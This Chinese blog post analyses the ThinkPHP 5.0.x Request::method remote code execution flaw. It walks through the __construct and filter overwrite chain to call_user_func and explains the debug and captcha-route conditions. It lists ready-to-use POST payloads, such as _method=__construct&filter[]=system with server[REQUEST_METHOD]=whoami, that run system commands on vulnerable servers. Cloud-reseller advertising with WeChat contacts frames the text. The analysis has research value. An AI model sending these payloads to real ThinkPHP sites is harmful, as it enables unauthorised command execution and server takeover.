ThinkPHP5 Request类method任意方法调用RCE

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

ThinkPHP v5.0.x

环境

  • thinkphp5.0.23核心版需开启debug
  • thinkphp5.0.22完整版通过captcha路由

method任意调用方法导致rce

开启debug选项

POST
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

处理请求到路由检测部分的时候会调用\think\Request::method函数

image-20230121235958524

该函数用于获取当前请求类型config文件默认为_method

image-20230121233046232

在获取method之后便会通过动态调用去调用method值同名类方法即__construct传递的值为post数组。

__construct函数中对 o p t i o n 的键名同名的类属性赋值为 option的键名同名的类属性赋值为 option的键名同名的类属性赋值为options中该键的对应值。按照payload中的内容即是对filter和server属性进行替换。

image-20230121234122458

最后\think\Request::param去调用method获取原始请求类型时进入\think\Request::server函数这时的$this->server已经被覆盖为whoami

image-20230121235227286

image-20230121235533885

最终传入\think\Request::filterValuecall_user_func进行方法调用。

image-20230121234949557

image-20230121235012148

\think\App::run中的位置如下

image-20230121235821226

此时的触发点位于记录路由和请求信息的部分这也是为什么需要开启debug选项。

5.0.13版本之前无需开启debug就能rce之前的版本中下图代码不会在think\App::exec() -> think\App::module() 中重新再设置一次默认filter这就会覆盖传入的恶意filter类属性。

image-20230122001258419

之前的版本仅在路由调度之前进行设置filterthink\App::module()中不再进行设置。

image-20230122002506025

而debug记录的位置位于think\App::exec()上方自然不会受到影响。

关闭debug选项默认

从上面可以看到filter变量清除在module分支中完成的通过进入其他进行绕过分支。

#无回显
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
#有回显传参方式差异    
POST ?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
or
_method=__construct&method=get&filter[]=system&get[]=whoami

image-20230122003720809

此时的调用链如下由array_walk_recursive调用filterValue函数完成命令执行。

image-20230122003853856

image-20230122003919961

payload

#debug相关
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
    
aaaa=whoami&_method=__construct&method=GET&filter[]=system
    
_method=__construct&method=GET&filter[]=system&get[]=whoami
    
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
    
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
    
#需进入非module路由
#无回显
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
#有回显传参方式差异    
POST ?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

_method=__construct&method=get&filter[]=system&get[]=whoami

参考

https://y4er.com/posts/thinkphp5-rce/

https://www.sec-in.com/article/1863

https://xz.aliyun.com/t/7792
.com/article/1863](https://www.sec-in.com/article/1863)

https://xz.aliyun.com/t/7792

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: php

“ThinkPHP5 Request类method任意方法调用RCE” 的相关文章